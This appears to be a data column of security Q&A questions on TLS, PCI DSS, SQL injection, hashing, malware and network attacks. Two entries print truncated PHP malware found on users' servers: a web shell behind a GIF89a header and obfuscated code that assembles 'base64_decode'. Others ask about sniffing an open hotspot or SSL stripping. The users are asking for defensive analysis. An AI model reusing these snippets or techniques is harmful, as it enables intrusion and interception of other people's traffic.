instruction
stringlengths
24
27.2k
Something I was wondering about after reading Didier Stevens Labs 2008 post: There are endless ways described how to put potential malicious content into a pdf file, while making it impossible for mask-based scanners to detect the content. If a pdf reader tries to parse such a compressed string it could happen that the...
Recently I was arguing about password policies. Assume you have a policy which requires 10 characters and additionally at least one letter, one number and one special character. My companion was arguing that this policy is weaker than one that requires at least 10 characters. While this is computationally true, we coul...
I was poking around with the "reset password" page of a website (security testing and bug hunting is allowed on it.) When you put in your email address, it uses HTML character reference encoding to encode your address. For example: Email: example@example.com >> example@example.com Is it possible to inject SQL comm...
I have published an android app with in app purchase. I failed to encrypt XOR my licence key. If hackers have my license key can they redirect my payments to their account or just they can by pass in app purchase ?
If I have a 4096 DSA private key used for signing binaries, and I want to ensure that a partner has an identical server using the same private key, can I send the md5sum of the private keys over an insecure channel to verify this, without meaningfully compromising the key? That is, would publishing an md5sum of the pri...
Situation is following: I have identified sql injection attack vector, and have following information about target table: It has six columns. (Identified using "order by"). I can see output of 3 of them (table is displayed). two seems kind of enum value (integer in database?), and one is a date. I have very strong sus...
As I send this question as a request to yahoo's server, the information in the request will be encrypted with yahoo's public key (which is available for everyone). Then the information will arrive at the server. There it will be decrypted with yahoo's server private key. Will Yahoo's server send me a response after en...
We have lots of questions that address portions of SSL/TLS as it relates to PKI, but none of them seem to bring everything together. A canonical answer that we can point people to I think would be quite helpful. We have How Does SSL/TLS Work? which will give a nice basis, and does contain a section on client certif...
I have tried googling around. The closest solution I get is: private.key contains the private key file. $pgpdump -i private.key But this only gives me the following: ElGamal p ElGamal g ElGamal y Encrypted Elgamal x some other information of crypto It shows the value for p,g,y, but not x. How can I find out the value...
When using public wireless it needs you to sign in and from what I've gathered it allows you to have access to the internet and provides you with your own network and is not shared with any other devices on the same wireless access point, does anyone know how this could be done and what its called?
I have a known sqli vulnerability that I'd like to try out with sqlmap in a web application; however, I don't believe sqlmap is able to figure this one out. Here's how the system works: Inject on a given parameter, s, in Thread 1. Thread 1 dispatches the information to a second thread. Thread 1 returns an HTML messag...
I want to make sure that my webapp is secured: I have a tomcat server - and defined the connector to use clientAuth="true". In my trust store there is only the certificate of my CA (self signed). On the client - installed a certificate issued by the CA. As I was warned in a previous question I made , I want to make su...
I'm using bcrypt for some web service requests that hash multiple passwords. The problem is that these web service requests can take minutes to complete due to bcrypt. Not very user friendly. My question is the following: Can I hash these passwords with SHA and persist them to the database, then have a decoupled queued...
EDIT: The script has been removed and apparently the vulnerability has been patched. My employer links to this resource: http://www.myplan.com/ I recently noticed a JavaScript alert was added into to main landing page: "31337" More likely bored, soon to be fired programmer or malicious attacker? In either case is the...
This is a follow up to a question I posted on Stack Overflow but you don't need to read that question - I'm recapping the pertinent details here. I'm testing a PHP application which uses a MySQL database as a data store. I am using parameterized queries exclusively, via an ORM library. I have discovered that a particul...
This topic has been discussed multiple times here and all over web & I did follow most of it but looks like my fundamentals are not strong enough to get thru... Here is a quick snap of requirement and the steps I have taken Create a key pair [pvt/pub], let's call this use case as MYKEY Generate x509 cert from MYKEY ...
So this is a pretty straight forward question. If I setup a free and open wifi access point called "Free&Tots-Secure" then sniff all the traffic of people that connect to it, does that violate the computer fraud and abuse act? Expanding on the above question, what if I use a tool like ssl stripper to force http traffi...
I know the OWASP dependency check tool is really good in finding vulnerable dependencies and I have used it personally for experimental purposes. But, has anybody used it at an enterprise level, like scanning for vulnerable jars in an established product?
Whenever I'm behind a man in the middle proxy such as burp, and try to access either google or facebook, I get an alert message telling me that the connection is not reliable and blocks the page from displaying. I'm guessing it has something to do with security certificates. But how do they know not to trust the connec...
In GSM is it correct to say the AuC uses A8 algorithm with as input a nonce and Ki to generate Kc used for encryption communication between the subscriber and base station? If not how is Kc forwarded to the mobile subscriber in a secure way?
In underscore.js, template rendering causes violation of the 'unsafe-eval' property, with CSP error at following line: render = new Function(settings.variable || 'obj', '_', source); The solution to this on some forums have been to Sandbox the underscore according to the Chrome documentation. But how will this solutio...
I'm going to write a Client/Server application. There are some ambiguous concepts in this that I was not able to get answer to after many hours of searching. As we all know one of the major caveats of the .Net framework is that the DLL files can be decompiled and reverse-engineered on the client's machine. Now my quest...
I am familiar with the US government's FIPS standards, like FIPS 140, policies and procedures; and security controls like those enumerated in SP800-53. I am less familiar with ISO 27001. A preview of ISO 27001 is available online, but its just a teaser with no useful information. What is the US government's FIPS or Spe...
After failing to check whether my USB stick firmware can be rewritten AT ALL, I want find out, whether it WAS rewritten when I sticked it in another computer. In particular the question is: how to find out, whether my USB flash drive tries to behave like different devices (or device classes)? Would it be enough to ude...
How cryptanalysts work on an algorithm related to diffusion/confusion factors in order to find a weaknesses in an algorithm, for example how cryptanalysts could find weakness on DES? is there methods or software for that? Or if a person designs an symmetric encryption, how can he/she can test it from stand point of wea...
I read on the Wikipedia article on DMA attacks that a misconfigured BIOS allowed for this type of attacks. I am asking whether, given the hardware I am using, DMA attacks are possible and whether I can mitigate them by changing options in my BIOS. In my case, I own an Asus P8P67 motherboard and a netbook. I guess on th...
The thread title says it, i would like to know how long a system encryption key will stay in RAM or CPU and will be therefore be extractable using boot attacks. I read somewhere that encryption in case of Linux and LUKS is handled by virtual memory which is handled by the CPU afaik... I don't really know how disk encry...
After google searching about this idea and yielding very little in results I've come to resort to stack exchange: Is it possible to place a private key on a sim card? Is it possible for a smart phone app on Android to use the private key for cryptography? What about iOS? What about Windows based phones? If (1) and (...
I am getting an message about 'obsolete cryptography' from Chrome. Your connection to (site) is encrypted with obsolete cryptography. The connection is encrypted using AES_256_CBC... Per this answer, I am trying to disable CBC in favour of GCM ciphers. However, whether I remove the non-GCM ciphers via '!' blacklists ...
I'm running Chromebleed to defend against sites affected by Heartbleed, but it's been a very long time since I've used a site that was still vulnerable. By now I would think the vast majority of the Internet has upgraded to protect against the vulnerability.
Soon I'll doing some purchases online using my mother's credit card. She's pretty sceptical about online shopping but I convinced her. She's not so sure about how secure it is and since I'm not so sure if I have some malware running on my PC, I want to be on the safe side and don't want to risk it. I already ran scans ...
I am trying to figure out where or how i should store application secrets and keys inside a desktop application. For example a facebook app key or dropbox key and secret. So I've read that i should hash, salt, encrypt etc etc these values. This is to prevent someone from reverse engineering my code and seeing the keys....
Let's say I have a straight forward completely database driven web site application and I store my database on my web server in the DMZ. I won't be broadcasting the IP address of my database because I won't be sending calls to it, which makes my database inaccessible to the outside world. If I place my database on the ...
According to the documentation, the scrypt hash function works like so: The hash function does the following: Adds random salt. Creates a HMAC to protect against active attack. Uses the scrypt key derivation function to derive a hash for a key. Hash Format All hashes start with the word "scrypt". Next comes the scry...
I have been getting a bit paranoid regarding some of my old TrueCrypt containers. The paranoia has got nothing to do with suspicions regarding TrueCrypt itself (after the shut-down last year), rather it is regarding keyloggers sniffing my containers' passwords. And then I came across Joanna's post regarding how X serv...
Is it possible that Oracle places backdoors in VirtualBox that compromise a user's privacy/anonymity? For example, is running Whonix through VirtualBox a secure set up if your host OS is unencrypted? How likely is it that Oracle can break out of the VM and "silently" gain root access to the underlying OS? What precauti...
i want to know how to detect the URL an android app uses. Is there any way or can we create any other android app to find the URL my app is using.
What is the concrete advantage of using random PIDs instead of traditional sequential ones? Some times ago, I've read an article in the french magazine MISC (no. 74 - July/August, 2014) publishing a flaw affecting stunnel and libssh, article written by the discoverer of these flaw himself. To make things short, this fl...
My company's set-up involves a single AP (TPlink) that is configured to authenticate clients using RADIUS. All works well, but: on a regular WPA/WPA2 network, once you have the PSK, you are able to decode all the traffic other users generate. On an IEEE 802.1X - WPA2, according to this, a key is generated for each user...
When you connect to a website using a VPN with the same IP however using a different type of connection each time (LL2P, SSTP and PPTP) can the website detect the difference between these connection. For example lets say you connect using an SSTP connection the first time but the next time you decide to use an LL2P con...
I want to use the AES hardware accelerator in am335x. I was able to generate the cryptodev.ko and cryptosoft.ko drivers. From my application program I am making use of openssl apis in CBC mode, and I wanted to verify the hardware accelerator usage. I could trace the control flow until driver/omap-aes.c. But for cat /pr...
I have the domain example.com When I enter the URL https://api.example.com, Chrome loads the page and also tries to load https://myapp.example.com/favicon.ico, and that request receives a 301 redirect to **http://**main.example.com, and receives the HTML content of it. I know how to fix it, but I´m interested in what w...
I live in France, and I have a debit card issued by my bank. When it expires, I receive a new one with the same pin number. I recently asked my banker to issue another card (a different one, for another bank account), and he told me it can have the same pin number as the previous card. Does that mean that my bank, or V...
Is there a way to log SSH sessions proxied through a machine (User-> SSH Proxy -> Server (with SSH)) without modifying the SSH daemon on the proxy? I need to log all the commands as well as responses exchanged between the User and the Server.
I want to download the certificate of a particular hostname and detect whether the CA used EV (extended validation) when issuing it. So far I was not able to find anything that identifies certificates as being EV. Is there any way to achieve this? Ideally using OpenSSL?
How do these three concepts fit together: The Software Development Process (SDP) indicates the different phases of creating an application. Well known processes are waterfall, spiral, agile, extreme programming, etc. OWASP Clasp and Microsoft SDL are process to improve the security of applications. They way I understa...
CAN (controller area network) is a bus used in all modern cars. You can read a lot of the cars information over this bus and I think (but I'm not too sure about this) that some critical control signals (breaks, e.g. for ESP?) get over that bus. I know very little about the CAN: Devices which communicate via CAN bus hav...
If the salt in the hash is known to us, then is it possible to crack to extract the password from the hash? If yes, how?
What custom TCP/IP packets or other statistics can I use to detect VPN usage? I understand that this may generate a number of false positives, but my goal is to focus analysis on certain types of traffic. Possible examples include: Browser reports geolocation doesn't match expected latency to that site is much higher ...
I'm an absolute newbie in the enterprise CSR and certificate generation process. So kindly point out any obvious silliness in the question. Is it possible to completely automate the process of CSR generation + certificate signing by a CA and installation of signed certificate with? From my basic understanding, I believ...
One of my devs recently had an issue with the compatability of a certificate, and we rooted around for a bit until we came across a a similar problem on SO. Once I understood the developer's initial problem (the original certificate was generated with a CNG provider, rather than the Legacy one), I was expecting to have...
I need offline-verifiable, time stamped, GPS signals or its equivalent. Since cellular protocols include time stamps, encryption keys and other data, perhaps it's possible to re-use this infrastructure to provide some degree of "signed location data". I'm guessing that each tower or base station has a unique key, or ...
I have a requirement to use the cipher suite: DHE-RSA-AES256-GCM-SHA384 I configured to use the required cipher suite on both server and client. During tests, I noticed that the handshake is failing between server and client. On server I reset the configuration to accept any cipher suite, but on the client I retained t...
TPM (Trusted Platform Module) and HSM (Hardware Security Module) are considered as cryptoprocessor, but what are the differences exactly? Does one of them has more advantages than another?
Does it make sense to use stateless JWT (without persistent storage) over plain SHA256? Example scenario: User logs in User token generated as follows: a. JWT.encode(userId, 'secret') or b. SHA256(userId + 'secret') Client app sends request with userId and token Request is verified via: a. JWT.decode(token, 'secret'),...
I have encountered a situation where sensitive data files are saved unencrypted to server file directories temporarily for 1 to 30 minutes before being sent to a destination application. The data files are not full extracts from the source application, but files for discrete time periods. For example, if the files was...
I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder. Inside this file is the following code: GIF89a???????????!??????,???????D?;?<?php $language = 'eng'; $auth = 0; $name = ''; // md5 Login $pass = ''; // md5 Password @error_reporting(0); @set_tim...
There is a server room which is part of PCI environment and located inside the office. Access to the server room itself is controlled according to PCI DSS Requirement 9: "Restrict physical access to cardholder data" (lock, badge, key-pad, cameras etc.). Question: Do we need to apply office-wide control to satisfy requ...
I’m researching a possibility of implementing KEK and DEK servers compliant with PCI-DSS requirements. PCI Tokenization Guidelines states: “The tokenization solution should include a mechanism for distinguishing between tokens and actual PANs.” The document doesn’t specify for which type of token the requirement above ...
In section 3.3 of the PCI standard, it says that when displaying PANs, limiting visibility to the first 6 and last 4 digits of the PAN is considered secure. Doing some quick math, on a 16 digit PAN, taking into account the checksum requirement, this leaves only 100,000 card numbers to brute force in order to get the on...
I was just studying about firewalls and IDS/IPS and had a doubt. Are these the only two major security devices that a company invests in? or are there other equipment and security controls?
Is there any possibility that a trusted CA can perform a man in middle attack? Since the CA certificate is installed and trusted by the browser it will never raise a warning message. Hope my doubt will be clarified by the security experts. Thank you
I'm building a software that requires a lot of security for the data. The user data in essence is very sensitive. So we are building a lot of encryption, 2 step authentication, app call tokenization etc., Now our DBA's and support admin have access to this data via tokenized database interface calls, no direct database...
So I am supposing the user has general knowledge of HTML. I have this code: <select name="role" id="role" disabled> <option value="Admin">Admin</option> <option value="Moderator" selected>Moderator</option> <option value="Subscriber">Subscriber</option> </select> This is an edited profile page for a user a...
In a philosophical sense is heterogeneous security, a system where people are given more autonomy, better than security policies/procedures written in stone? I've worked at some companies where office politics were so strong and everyone was so caught up in following procedures that intelligence was completely abandone...
Is it possible to specify source list values based on the script src. The RFC mentions it, but I'm not sure about its usage. For example: Content-Security-Policy:default-src *; script-src 'unsafe-inline' 'self'; Content-Security-Policy:script-src 'unsafe-inline' 'unsafe-eval' https://maps.googleapis.com/*'; This combi...
When it comes to Docker, it is very convenient to use a third party container that already exist to do what we want. The problem is that those containers can be very complicated and have a large parent tree of other containers; they can even pull some code from repositories like GitHub. All of this is making a security...
There are many password breaches happening now a days. How can the system administrator detect if the password database on the server is hacked? Obviously, the admin can know once the password database is announced over the internet. But is there a way to know about the incident before the entire world knows about it?...
I am using mitmproxy to intercept HTTPS connections from my client device to a third party server. In order for mitmproxy to intercept SSL requests, I need to install a trusted root certificate on my device. Is there a way for the server to know that requests have been intercepted? Can the server see the details of th...
I found the following code on my website. What does it do? Is it malicious? <?php @ignore_user_abort(true); @set_time_limit(0); $getherw3423 = "FFS"."W35"."25KK"."Sfj"; $rretert454352 = "b"."".""."a"."s".""."".""."e"."".""."6"."".""."4"."_".""."".""."d"."e"."c"."o".""."".""."".""."d".""."e"; $qwretr...
When doing a Man-in-the-middle attack against a classic one-way authentication server, the attacker just have to: Use a certificate credible enough to be trusted by the victim, Act as a standard client toward the real server, relaying victim's requests. However, I was wondering if using TLS mutual authentication coul...
I know there is a similar post, but I thought this one is different because I do not get this consistently, the message and icon are different. Please compare the message with that of the so-called "duplicated" question, so you can see the difference. Any light shed on this will be appreciated. Chrome shows the follo...
I noticed that the new gmail login asks for username first, and then confirms if such username exists, before asking for password input. Does this not go against conventional security wisdom to not divulge information about whether an username exists, to thwart the class of attacks that tries many possible usernames? I...
The benefits of a password manager are clear. Still, it seems that there might be a case to keep at least some passwords out of it: Your primary e-mail, to minimize the "single point of attack" problem, as well as potential two-factor authentication lock-out problems; Your bank account(s) and accounts with financial i...
I have a hardware device (H), phone (P) and web server (S). I would like P to be able to send commands to H, but only if it is authorized to do so. Permissions are stored on server. Technically I could do this with Kerberos, but that seems overkill. The protocol I currently have is the following: P requests nonce from...
With so many people losing wallets and physical, plastic pieces of ID cards, drivers licenses, etc., why haven't we moved on to fully digitized ID in the digital world? We have made money almost indefinitely digital -- at least non-physical (most people have banks, PayPal, or other forms of electronic payments in which...
I think that I understand the right application cases for the following crypto functions, but I'd like to confirm my understanding and also propagate the safe use of crypto throughout the intertubes. Cryptography and its implementation are often messed up, and an understanding both of what the algorithm does and its us...
Previously today, I encountered a SSL error trying to access twitter.com in Chrome. Investigating the issue, I encountered the same error accessing discussions.apple.com. Most other HTTPS sites were working fine. Trying Safari, the same errors occurred but I was given the option to continue regardless. At first I th...
Can anyone explain why there is a difference between padding claimed in PKCS7 https://www.rfc-editor.org/rfc/rfc2315 Page 22 - which is 01 02 02 03 03 03 ... and padding used in TLS 1.2 https://www.rfc-editor.org/rfc/rfc5246 Page 24 or http://www.isg.rhul.ac.uk/~kp/mee-comp.pdf Page 1 - which is 00 01 01 02 02 02 03 03...
My university internet connection runs behind proxy. Its host name is 192.168.1.103 and port no is 3128. How do I configure proxy in burp suite if I should enter above proxy setting in my Firefox browser? Following method I have tried but fails: I have set manual proxy as "127.0.0.1:8080", but my browser could not lo...
Say I have an email and I want to send it to someone else. I encrypt it with his public key. This ensures that only he can read my message. Does this also means that I won't be able to read it? If so, how will I know what I have sent?
By virtual environments, I mean Linux containers like Docker and Vagrant and not full blown VirtualBox. So, the issue is that I often have to install packages from untrusted sources in my Ubuntu. However, lately I've become paranoid about these applications, and have been thinking about limiting their access or runnin...
When you connect to an open wireless network (that is, a wireless network without any symmetric password set) is there any sort of secure key exchange going on, or is data sent back and forth unencrypted and able to be intercepted by anyone "listening"?
Although I know this sort of request probably isn't exactly what stackoverflow is for, I am desperately seeking help. One of my best friends recently passed away and his parents asked me if I knew a way to acces his laptop. The contents of his laptop (foto's etc) would be a slight comfort in their grief. The laptop has...
On a Windows 8.1 Pro PC without TPM, how can I use Bitlocker with both a startup USB drive and password? I don't have the option to use both of them, is this possible via command line? Currently, using Bitlocker with TPM and a startup USB and password is possible, so it should be possible with a startup USB drive and ...
I have a public certificate in a PEM (.pem) file -----BEGIN CERTIFICATE----- MIICsjCCAZqgAwIBAgIJAMA1YIQ2JLXDMA0GCSqGSIb3DQEBBQUAMBExDzANBgNV ... 29V/R9RZOoSBHDzGPL84wm4qojMuwQ== -----END CERTIFICATE----- Its total size is 942 characters. Now I would want to deduce from it the size of private key and asym...
So I tried to search the web for answers but didn't find any. Is there any way to trace back which exe file or application caused the computer to make a specific DNS query?
On my Linux server I have a keystore which contains SSL certificates and these certs are going to expire in 20 days. Before expiry of old certs, I have installed new SSL certificates to avoid any impact after expiry of old certs. I have below questions. Would new installed SSL certificates overwrite old SSL certificat...
I have multiple computers, tablets, etc. If I have a very secure key, is there any problem with using it to encrypt all of my systems? I can remember 1 or 2 secure keys without writing them down. But any more than that, I would probably get them mixed up.
I have lots of links to information on the topic that I've gathered published since the mid-2000s and this SANS document has always been my goto: http://www.sans.org/reading-room/whitepapers/legal/cyberlaw-101-primer-laws-related-honeypot-deployments-1746 However, I was wondering if there are more recent changes to the...
Dropbox is one of the most famous cloud storage and sharing platform. Dropproxy's website claims that there is a weakness in the Dropbox security: Lots of people use Dropbox. Lots of people share public Dropbox links. But not everyone knows that you can be identified by your public links and not everyone knows that ...
I'm not sure how to phrase this so I'll just explain my scenario and hopefully you can help. I have to create a site that will have 50-100 students all selecting courses they would like to take for the next semester. As each student ideally should only be able to access the site for a week, I was considering generating...
My Windows 8.1 Pro laptop doesn't have TPM, so I can use bitlocker with either a USB key or a password. If I use a password, it will be 20 almost random characters, it will contain no words in any language, it will have at least one small letter, one capital, one number and one special character. Now, you will probably...
SIM cloning is often pointed out when suspecting someone may have captured an SMS with an one time password or authentication code, without proof. I find it hard to believe that the phone network would allow two phones to register with the same IMSI & ICCID and actually deliver calls or messages to both of them. To me,...
Are there any ways to prevent files associated with CryptoLocker, to be propagated to a data server, by means of a back up? We use Cobian as our backup system, and it backs up the user's directory to a separate drive on the server. I have found some traces of CL on the backup drive, and subsequently deleted them the mo...
WoSign has been in the media for offering free server and client certificates. Since one of my (free) S/MIME certificate from another CA is about to expire soon after one year and WoSign offers certificates, which are valid for thee years, I applied for their certificate, because I hoped to be able to skip the re-creat...
I have a HSM that is an asset within a information security management system and the help desk team tells me that the device is displaying a critical failure alert. So my questions are: Must I replace the HSM with a new one or can I request that it be repaired? In a repair scenario, what are the criteria that I have t...
I have not, but she says that she has my IP addres, which I know can be spoofed and also can be found out by my email header. What can I do to combat this liar? I have a hotmail account and she has a yahoo account. I have tried to get the Html info, but no matter what I try it says that I do not have the right informat...
This is bugging me for a while now due to the potential security risk it involves. Basicly by accident I discovered that this code is perfectly valid and works without a problem: jQuery: $(document).ready(function(){ $("#phishingURL").on("click",function(e){ e.preventDefault(); window.location = "h...
Suppose I want a secure TLS communication between me and myschool.edu. Which of the following should I trust to preserve confidentiality, integrity, and authenticity. Here are the options and my analysis. a) The entire network between me and myschool.edu. (I can't, a hacker could have compromised something in between...